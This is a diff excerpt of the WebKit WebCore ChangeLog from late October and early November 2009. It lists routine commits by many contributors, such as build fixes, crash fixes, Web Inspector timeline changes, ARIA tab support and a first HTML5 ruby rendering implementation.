+        * accessibility/AccessibilityTableRow.cpp:
+        * accessibility/mac/AccessibilityObjectWrapper.h:
+
+2009-11-02  Darin Fisher  <darin@chromium.org>
+
+        Fixing JSC build bustage.
+
+        * bindings/js/ScriptController.cpp: Added missing #include
+
+2009-10-30  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Give the FrameLoaderClient the ability to override Settings::isJavaScriptEnabled.
+        https://bugs.webkit.org/show_bug.cgi?id=30967
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::isEnabled):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::isEnabled):
+        * bindings/v8/V8Proxy.cpp: Move implementation of isEnabled to ScriptController
+        * bindings/v8/V8Proxy.h: Ditto
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::allowJavaScript):
+        * platform/chromium/ChromiumBridge.h: Delete uiResourceProtocol function
+
+2009-11-02  Brady Eidson  <beidson@apple.com>
+
+        Rubberstamped by Mark Rowe.
+
+        Fix a typo in Mark's last commit.
+
+        * loader/archive/ArchiveFactory.cpp:
+        (WebCore::archiveMIMETypes):
+
+2009-11-02  Mark Rowe  <mrowe@apple.com>
+
+        Rubber-stamped by Brady Eidson.
+
+        Re-enable support for web archives on Windows.  It was mistakenly disabled in r50438.
+
+        * loader/archive/ArchiveFactory.cpp:
+        (WebCore::archiveMIMETypes):
+
+2009-11-02  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        PLATFORM(CF) should be set when building for Qt on Darwin
+        https://bugs.webkit.org/show_bug.cgi?id=23671
+
+        * WebCore.pro: Add SharedBufferCF.cpp and SmartReplaceCF.cpp
+        to the Darwin build.
+        * loader/archive/ArchiveFactory.cpp: Change the support for 
+        legacy WebArchive from all CF platforms to Mac and Chromium 
+        CF platforms.
+        (WebCore::archiveMIMETypes):
+        * platform/text/AtomicString.h: Remove PLATFORM(QT) &&
+        PLATFORM(DARWIN) test as it is redundant now.
+        * platform/text/PlatformString.h: Ditto.
+        * platform/text/StringImpl.h: Ditto.
+        * platform/text/cf/StringCF.cpp: Ditto.
+        * platform/text/cf/StringImplCF.cpp: Ditto.
+
+2009-11-02  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [Chromium] Actually declare getPluginMimeTypeFromExtension in a header.
+        https://bugs.webkit.org/show_bug.cgi?id=30985
+
+        Our current code does not conform to our style guide.
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * platform/chromium/MIMETypeRegistryChromium.cpp:
+        * plugins/chromium/PluginDataChromium.cpp:
+        * plugins/chromium/PluginDataChromium.h: Added.
+
+2009-11-02  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for <rdar://problem/7038305> REGRESSION (Safari 4.0.2 - ToT): After navigating back to a known phishy page, the "Ignore warning" button appears highlighted (along with the "Go Back" button)
+
+        This bug is timing dependent, and not always reproducible.  I could not think of a way to add a 
+        layout test that would demonstrate the problem and fix.
+
+        * platform/mac/ThemeMac.mm:
+        (WebCore::checkbox): Update style.
+        (WebCore::paintCheckbox): ditto.
+        (WebCore::radio): ditto.
+        (WebCore::paintRadio): ditto.
+        (WebCore::setupButtonCell): Added convenience method.
+        (WebCore::button): Use a separate NSButtonCell for defaultButtons and regular buttons.
+        (WebCore::paintButton): Don't check for the key window here.  Consider that when deciding if the button should have the default style in RenderTheme.
+        * rendering/RenderTheme.cpp: (WebCore::RenderTheme::isDefault): Only consider a button to be default if the page is active.  This fixes 
+        a problem I noticed where the button would flicker crazily if the page with the default button was in the background.
+
+2009-11-02  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Minor RenderWidget clean-up in preparation for deferring widget tree
+        mutation when it is not safe.
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::RenderWidget): Initialize m_refCount to 1
+        instead of calling ref().
+        (WebCore::RenderWidget::destroy): Call setWidget(0) instead of
+        repeating what it does.
+        (WebCore::RenderWidget::setWidgetGeometry): Now returns a boolean
+        indicating whether the bounds have changed.
+        (WebCore::RenderWidget::setWidget): Replaced all-encompassing if
+        statement with an early return.
+        (WebCore::RenderWidget::updateWidgetPosition): Call setWidgetGeometry().
+        * rendering/RenderWidget.h:
+
+2009-11-02  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adding Chromium's DatabaseTracker and SQLTransactionClient
+        implementations.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30701
+
+        * storage/chromium: Added.
+        * storage/chromium/DatabaseObserver.h: Added.
+        * storage/chromium/DatabaseTrackerChromium.cpp: Added.
+        * storage/chromium/QuotaTracker.cpp: Added.
+        * storage/chromium/QuotaTracker.h: Added.
+        * storage/chromium/SQLTransactionClientChromium.cpp: Added.
+
+2009-11-02  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson and Dan Bernstein.
+
+        Safari crashes when calling execCommand on formatted html in special case
+        <rdar://problem/7318656>
+        https://bugs.webkit.org/show_bug.cgi?id=31023
+
+        Test: editing/execCommand/align-in-span.html
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::containingBlock): Modified comment on containingBlock returning NULL.
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::setSelectionState): Added check for NULL return from containingBlock,
+        since it is possible when dealing with orphaned trees.
+
+2009-11-02  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Exception checks were being too aggressive
+        https://bugs.webkit.org/show_bug.cgi?id=31005
+
+        Several calls in CanvasRenderingContext3D are allowed to
+        have a null value passed, which indicated that the 
+        object is being unbound. Handle this case and the corresponding
+        null handling in GraphicsContext3DMac.
+
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::bindBuffer):
+        (WebCore::CanvasRenderingContext3D::bindFramebuffer):
+        (WebCore::CanvasRenderingContext3D::bindRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::bindTexture):
+        (WebCore::CanvasRenderingContext3D::framebufferRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::framebufferTexture2D):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::framebufferRenderbuffer):
+        (WebCore::GraphicsContext3D::framebufferTexture2D):
+
+2009-11-02  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Each JS execution in console adds extra item into "scripts" combo
+        https://bugs.webkit.org/show_bug.cgi?id=30212
+
+        Added manual test
+
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        * manual-tests/inspector/hidden-evals.html: Added.
+
+2009-11-02  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Adds a missed case for InspectorTimeline, DOMWindow dispatch of DOM events.
+        https://bugs.webkit.org/show_bug.cgi?id=31030
+
+        * dom/Node.cpp:
+        (WebCore::eventHasListeners): Checks DOMWindow for listeners.
+        (WebCore::Node::dispatchGenericEvent):
+
+2009-11-02  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Remove threadsafe refcounting from tasks used with WTF::MessageQueue.
+        https://bugs.webkit.org/show_bug.cgi?id=30612
+
+        No new tests since no new functionality. Storage, MessagePorts and Workers tests cover this.
+
+        There are a lot of files but most changes are simply replace RefPtr and PassRefPtr with
+        OwnPtr and PassOwnPtr when dealing with Tasks.
+
+        ScriptExecutionContext::Task, DatabaseTask and WorkerRunLoop::Task are no longer
+        threadsafe refcounted, but simply Noncopyable.
+
+        * dom/Document.cpp:
+        (WebCore::ScriptExecutionContextTaskTimer::ScriptExecutionContextTaskTimer):
+        (WebCore::PerformTaskContext::PerformTaskContext):
+        (WebCore::Document::postTask):
+        * dom/Document.h:
+        * dom/ScriptExecutionContext.cpp:
+        (WebCore::ProcessMessagesSoonTask::create):
+        * dom/ScriptExecutionContext.h:
+        * dom/default/PlatformMessagePortChannel.cpp:
+        (WebCore::PlatformMessagePortChannel::tryGetMessageFromRemote):
+        * dom/default/PlatformMessagePortChannel.h:
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::tryGetMessage):
+        (WebCore::PlatformMessagePortChannel::MessagePortQueue::appendAndCheckEmpty):
+        * loader/FrameLoader.cpp:
+        (WebCore::HashChangeEventTask::create):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::CallCacheListenerTask::create):
+        * storage/Database.cpp:
+        (WebCore::Database::openAndVerifyVersion):
+        (WebCore::Database::markAsDeletedAndClose):
+        (WebCore::Database::scheduleTransaction):
+        (WebCore::Database::scheduleTransactionStep):
+        (WebCore::Database::tableNames):
+        * storage/DatabaseTask.h:
+        (WebCore::DatabaseOpenTask::create):
+        (WebCore::DatabaseCloseTask::create):
+        (WebCore::DatabaseTransactionTask::create):
+        (WebCore::DatabaseTableNamesTask::create):
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::databaseThread):
+        (WebCore::DatabaseThread::scheduleTask):
+        (WebCore::DatabaseThread::scheduleImmediateTask):
+        (WebCore::SameDatabasePredicate::operator()):
+        * storage/DatabaseThread.h:
+        * storage/LocalStorageTask.h:
+        (WebCore::LocalStorageTask::createImport):
+        (WebCore::LocalStorageTask::createSync):
+        (WebCore::LocalStorageTask::createTerminate):
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::localStorageThread):
+        * storage/LocalStorageThread.h:
+        * websockets/WebSocket.cpp:
+        (WebCore::ProcessWebSocketEventTask::create):
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::postTaskToLoader):
+        (WebCore::SharedWorkerProxy::postTaskForModeToWorkerContext):
+        (WebCore::SharedWorkerConnectTask::create):
+        * workers/GenericWorkerTask.h:
+        (WebCore::GenericWorkerTask1::create):
+        (WebCore::GenericWorkerTask2::create):
+        (WebCore::GenericWorkerTask3::create):
+        (WebCore::GenericWorkerTask4::create):
+        (WebCore::GenericWorkerTask5::create):
+        (WebCore::GenericWorkerTask6::create):
+        (WebCore::GenericWorkerTask7::create):
+        (WebCore::GenericWorkerTask8::create):
+        (WebCore::createCallbackTask):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::postTask):
+        * workers/WorkerContext.h:
+        * workers/WorkerLoaderProxy.h:
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::MessageWorkerContextTask::create):
+        (WebCore::MessageWorkerTask::create):
+        (WebCore::WorkerExceptionTask::create):
+        (WebCore::WorkerContextDestroyedTask::create):
+        (WebCore::WorkerTerminateTask::create):
+        (WebCore::WorkerThreadActivityReportTask::create):
+        (WebCore::WorkerMessagingProxy::postTaskForModeToWorkerContext):
+        (WebCore::WorkerMessagingProxy::postTaskToLoader):
+        (WebCore::WorkerMessagingProxy::workerThreadCreated):
+        * workers/WorkerMessagingProxy.h:
+        * workers/WorkerRunLoop.cpp:
+        (WebCore::ModePredicate::operator()):
+        (WebCore::WorkerRunLoop::runInMode):
+        (WebCore::WorkerRunLoop::postTask):
+        (WebCore::WorkerRunLoop::postTaskForMode):
+        (WebCore::WorkerRunLoop::Task::create):
+        (WebCore::WorkerRunLoop::Task::performTask):
+        (WebCore::WorkerRunLoop::Task::Task):
+        * workers/WorkerRunLoop.h:
+        (WebCore::WorkerRunLoop::Task::~Task):
+        (WebCore::WorkerRunLoop::Task::mode):
+
+2009-11-02  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        [GTK] Failing media/video-played-reset.html
+        https://bugs.webkit.org/show_bug.cgi?id=30589
+
+        new m_seekTime attribute to keep track of the seek position
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::currentTime):
+        (WebCore::MediaPlayerPrivate::seek):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-11-02  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        [GTK] Remove Referer when redirecting to non-secure site
+        https://bugs.webkit.org/show_bug.cgi?id=31021
+
+        Remove referer from HTTP headers when redirecting to a non-secure
+        site.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::restartedCallback):
+
+2009-11-02  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=18539
+        multipart/form-data not being parsed correctly on server due to '+' in boundary string
+
+        No test - the characters that the boundary is made of are not deterministic.
+
+        * platform/network/FormDataBuilder.cpp: (WebCore::FormDataBuilder::generateUniqueBoundaryString):
+        Don't ever put a '+' in boundary string, either. Removed a FIXME to bring '/' back once
+        GMail is fixed - I don't think we'll ever want to allow non-alphanumeric characters, as
+        they cause problems on many web sites.
+
+2009-10-30  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30969
+        A no-prefix XPath node test should not match no-namespace elements in HTML document
+
+        Test: fast/xpath/null-namespace-in-html.html
+
+        * xml/XPathStep.cpp: (WebCore::XPath::nodeMatchesBasicTest): Special case non-HTML elements
+        in HTML documents (as these are the ones that can have null namespace).
+
+2009-11-02  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: [REGRESSION] No timeline marks on resources panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31013
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.updateGraphDividersIfNeeded):
+
+2009-11-02  David Levin  <levin@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Possible crash in RenderSlider::layout.
+        https://bugs.webkit.org/show_bug.cgi?id=31016
+
+        Fix out of place line of code.
+
+        Test: scrollbars/overflow-scrollbar-combinations.html
+        This crash only seems to repro when WebKit draws the play controls,
+        so the crash repros in chromium running this test but not WebKit
+        nightlies which use QuickTime to draw the controls.
+
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::layout):
+
+2009-11-02  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix Qt build on Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=30905
+
+        * WebCore.pro:
+        * platform/graphics/BitmapImage.h:
+        * platform/graphics/qt/ImageQt.cpp:
+        (WebCore::BitmapImage::BitmapImage):
+        (WebCore::BitmapImage::create):
+
+2009-11-02  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Adam Barth.
+
+        QWebView crash fix.
+
+        The QWebView should not crash if the stop() method is called from
+        a function triggered by the loadProgress signal.
+
+        A null pointer protection was added in the ProgressTracker::incrementProgress.
+
+        New autotest was created.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29425
+
+        * loader/ProgressTracker.cpp:
+        (WebCore::ProgressTracker::incrementProgress):
+
+2009-11-02  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix a leftover from profiles panel generalization.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31010
+
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.get searchableViews):
+
+2009-11-02  Kai Koehne  <kai.koehne@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Remove implementation of ImageDecocerQt::clearFrameBufferCache.
+        The implementation was buggy, and will visually break repeating
+        animations anyway.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31009
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::clearFrameBufferCache):
+
+2009-11-02  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30964
+        [Gtk] Implemment AtkDocument
+
+        Provides access to the reported content language.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_document_get_locale):
+
+2009-11-02  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Rewrite CSSSourceSyntaxHighlighter so it shares more code
+        https://bugs.webkit.org/show_bug.cgi?id=30907
+
+        Test: inspector/css-syntax-highlight.html
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.syntaxHighlightCSS):
+        (WebInspector.SourceSyntaxHighlighter):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process.processChunk):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process.moveToNextLine):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process):
+        (WebInspector.SourceSyntaxHighlighter.prototype.lex):
+        (WebInspector.SourceSyntaxHighlighter.prototype.appendNonToken):
+        (WebInspector.SourceSyntaxHighlighter.prototype.syntaxHighlightNode):
+        (WebInspector.CSSSourceSyntaxHighlighter):
+        * inspector/front-end/inspectorSyntaxHighlight.css:
+
+2009-11-02  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Support ARIA "tab" roles
+        https://bugs.webkit.org/show_bug.cgi?id=30842
+
+        Implement support for ARIA "tab", "tabpanel" and "tablist".
+        As a consequence, we also needed to implement aria-selected
+        and aria-controls.
+
+        Tests: accessibility/aria-controls-with-tabs.html
+               accessibility/aria-tab-roles.html
+
+        * accessibility/AXObjectCache.cpp:
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        * html/HTMLAttributeNames.in:
+
+2009-10-27  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        This is the WebKit-side change needed to fix canvas.getImageData() for
+        Chromium.  The unpremultiply code in Skia assumes that unpremultiplied
+        values should be rounded, while CG does not.  In addition, the fixed
+        point inversion used by Skia introduces slight inaccuracies that make
+        us fail this test.  This change brings Chromium in line with
+        the CG path.
+        https://bugs.webkit.org/show_bug.cgi?id=30825
+
+        Covered by LayoutTests/fast/canvas/canvas-getImageData.html
+
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::getImageData):
+
+2009-11-01  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Adds window event dispatches to InspectorTimelineAgent.
+        https://bugs.webkit.org/show_bug.cgi?id=31002
+
+        * English.lproj/localizedStrings.js:
+        * dom/Node.cpp: Updated call site to willDispatchEvent and didDispatchEvent.
+        (WebCore::Node::dispatchGenericEvent):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willDispatchEvent): Renamed.
+        (WebCore::InspectorTimelineAgent::didDispatchEvent): Renamed.
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createEventDispatchRecord): Renamed.
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/TimelineAgent.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::dispatchEvent):
+
+2009-11-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Convert script tag event into a more generic
+        script eval event in timeline.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30999
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInWorld):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluate):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::scriptExecution):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willEvaluateScript):
+        (WebCore::InspectorTimelineAgent::didEvaluateScript):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createEvaluateScriptTimelineRecord):
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/TimelineAgent.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+
+2009-11-01  Brian Weinstein  <bweinstein@apple.com>
+
+        Rubber-stamped by Mark Rowe.
+
+        Fix for loop to use an size_t instead of unsigned and some spacing
+        style fixes.
+
+        * dom/Node.cpp:
+        (WebCore::eventHasListeners):
+
+2009-11-01  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Does not send DOM dispatches to the InspectorTimelineAgent if there
+        are no event listeners.
+        https://bugs.webkit.org/show_bug.cgi?id=30995
+
+        * dom/Node.cpp:
+        (WebCore::eventHasListeners):
+        (WebCore::Node::dispatchGenericEvent):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::callReadyStateChangeListener):
+
+2009-11-01  Roland Steiner  <rolandsteiner@chromium.org>
+
+        No review (build fix).
+
+        Add missing files for Ruby implementation to WebCore.vcproj
+        (Fix build break after 50397)
+        https://bugs.webkit.org/show_bug.cgi?id=31001
+
+        No new tests. (No functional change)
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-11-02  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Dave Hyatt.
+
+        Bug 28420 -  Implement HTML5 <ruby> rendering
+        (https://bugs.webkit.org/show_bug.cgi?id=28420)
+
+        First rudimentary implementation of HTML5 ruby rendering support.
+
+        Following the HTML 5 spec, the box object model for a <ruby> element allows several runs of ruby
+        bases with their respective ruby texts looks as follows:
+
+        1 RenderRuby object, corresponding to the whole <ruby> HTML element
+             1+ RenderRubyRun (anonymous)
+                 0 or 1 RenderRubyText - shuffled to the front in order to re-use existing block layouting
+                     0-n inline object(s)
+                 0 or 1 RenderRubyBase - contains the inline objects that make up the ruby base
+                     1-n inline object(s)
+
+        Note: <rp> elements are defined as having 'display:none' and thus normally are not assigned a renderer.
+        
+        New layout tests will be committed in a follow-up patch under fast/ruby.
+
+        Makefiles, etc.
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+
+        CSS
+        * css/html.css: Added <ruby> and <rt>
+
+        Existing render files:
+        * rendering/RenderBlock.cpp: make moveChild a member function moveChildTo
+        (WebCore::RenderBlock::moveChildTo):
+        (WebCore::RenderBlock::makeChildrenNonInline):
+        (WebCore::RenderBlock::removeChild):
+        * rendering/RenderBlock.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::createObject): instantiate ruby renderers based on element name
+        * rendering/RenderObject.h: add query methods for ruby renderers
+        (WebCore::RenderObject::isRuby):
+        (WebCore::RenderObject::isRubyBase):
+        (WebCore::RenderObject::isRubyRun):
+        (WebCore::RenderObject::isRubyText):
+
+        New ruby renderers:
+        * rendering/RenderRuby.cpp: Added.
+        (WebCore::lastRubyRun):
+        (WebCore::findRubyRunParent):
+        (WebCore::RenderRubyAsInline::RenderRubyAsInline):
+        (WebCore::RenderRubyAsInline::~RenderRubyAsInline):
+        (WebCore::RenderRubyAsInline::isChildAllowed):
+        (WebCore::RenderRubyAsInline::addChild):
+        (WebCore::RenderRubyAsInline::removeChild):
+        (WebCore::RenderRubyAsBlock::RenderRubyAsBlock):
+        (WebCore::RenderRubyAsBlock::~RenderRubyAsBlock):
+        (WebCore::RenderRubyAsBlock::isChildAllowed):
+        (WebCore::RenderRubyAsBlock::addChild):
+        (WebCore::RenderRubyAsBlock::removeChild):
+        * rendering/RenderRuby.h: Added.
+        (WebCore::RenderRubyAsInline::renderName):
+        (WebCore::RenderRubyAsInline::isRuby):
+        (WebCore::RenderRubyAsBlock::renderName):
+        (WebCore::RenderRubyAsBlock::isRuby):
+        * rendering/RenderRubyBase.cpp: Added.
+        (WebCore::RenderRubyBase::RenderRubyBase):
+        (WebCore::RenderRubyBase::~RenderRubyBase):
+        (WebCore::RenderRubyBase::isChildAllowed):
+        (WebCore::RenderRubyBase::splitToLeft):
+        (WebCore::RenderRubyBase::mergeWithRight):
+        * rendering/RenderRubyBase.h: Added.
+        (WebCore::RenderRubyBase::renderName):
+        (WebCore::RenderRubyBase::isRubyBase):
+        * rendering/RenderRubyRun.cpp: Added.
+        (WebCore::RenderRubyRun::RenderRubyRun):
+        (WebCore::RenderRubyRun::~RenderRubyRun):
+        (WebCore::RenderRubyRun::hasRubyText):
+        (WebCore::RenderRubyRun::hasRubyBase):
+        (WebCore::RenderRubyRun::isEmpty):
+        (WebCore::RenderRubyRun::rubyText):
+        (WebCore::RenderRubyRun::rubyBase):
+        (WebCore::RenderRubyRun::rubyBaseSafe):
+        (WebCore::RenderRubyRun::firstLineBlock):
+        (WebCore::RenderRubyRun::updateFirstLetter):
+        (WebCore::RenderRubyRun::isChildAllowed):
+        (WebCore::RenderRubyRun::addChild):
+        (WebCore::RenderRubyRun::removeChild):
+        (WebCore::RenderRubyRun::createRubyBase):
+        (WebCore::RenderRubyRun::staticCreateRubyRun):
+        * rendering/RenderRubyRun.h: Added.
+        (WebCore::RenderRubyRun::renderName):
+        (WebCore::RenderRubyRun::isRubyRun):
+        * rendering/RenderRubyText.cpp: Added.
+        (WebCore::RenderRubyText::RenderRubyText):
+        (WebCore::RenderRubyText::~RenderRubyText):
+        (WebCore::RenderRubyText::isChildAllowed):
+        * rendering/RenderRubyText.h: Added.
+        (WebCore::RenderRubyText::renderName):
+        (WebCore::RenderRubyText::isRubyText):
+
+2009-11-01  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30992
+        Node.isDefaultNamespace doesn't convert empty strings to null
+
+        Test: fast/dom/Node/default-namespace-empty-argument.html
+
+        * dom/Node.cpp: (WebCore::Node::isDefaultNamespace): Per DOM 3 Core, treat empty input
+        as null.
+
+2009-11-01  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Don't add '/' to the URL path if the it does not include '/' after the protocol component
+        https://bugs.webkit.org/show_bug.cgi?id=30971
+
+        Match IE8 behaviour, that does not add '/' if there is none after the protocol component.
+
+        * platform/KURL.cpp:
+        (WebCore::KURL::parse):
+
+2009-10-31  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix layering violations in GraphicsContext3D
+        https://bugs.webkit.org/show_bug.cgi?id=30986
+
+        Remove uses of HTMLImageElement and HTMLCanvasElement
+
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::texImage2D):
+        (WebCore::CanvasRenderingContext3D::texSubImage2D):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::texImage2D):
+        (WebCore::GraphicsContext3D::texSubImage2D):
+
+2009-11-01  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30964
+        [Gtk] Implemment AtkDocument
+
+        Provides access to expected document attributes.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (documentAttributeValue):
+        (webkit_accessible_document_get_document_attribute_value):
+        (webkit_accessible_document_get_document_attributes):
+
+2009-11-03  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30964
+        [Gtk] Implemment AtkDocument
+
+        Implements what has been implemented in AT-SPI.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (GetAtkInterfaceTypeFromWAIType):
+        (getInterfaceMaskFromObject):
+        (atk_document_interface_init):
+        (webkit_accessible_document_get_document_attribute_value):
+        (webkit_accessible_document_get_document_attributes):
+        (webkit_accessible_document_get_locale):
+
+2009-11-01  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Turn on warnings for QtWebKit for gcc
+        https://bugs.webkit.org/show_bug.cgi?id=30958
+
+        No new tests as there is no functional change.
+
+        * platform/image-decoders/qt/RGBA32BufferQt.cpp:
+        (WebCore::RGBA32Buffer::RGBA32Buffer): Reorder 
+        initialization list to fix compiler warnings.
+
+
+2009-11-01  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Pavel Feldman.
+
+        [Regression] monitorEvent doesn't work
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._ensureCommandLineAPIInstalled):
+
+2009-11-01  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fix Web Inspector: Bug with Message Bubble in Syntax Highlighter
+        https://bugs.webkit.org/show_bug.cgi?id=30990
+
+        * inspector/front-end/SourceFrame.js:
+
+2009-10-31  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by John Sullivan.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30982
+        createHTMLDocument doesn't escape ampersand and less-than in title
+
+        Test: fast/dom/DOMImplementation/createHTMLDocument-title.html
+
+        * dom/DOMImplementation.cpp: (WebCore::DOMImplementation::createHTMLDocument):
+        Set document title after creating the document, avoiding parser intricacies.
+
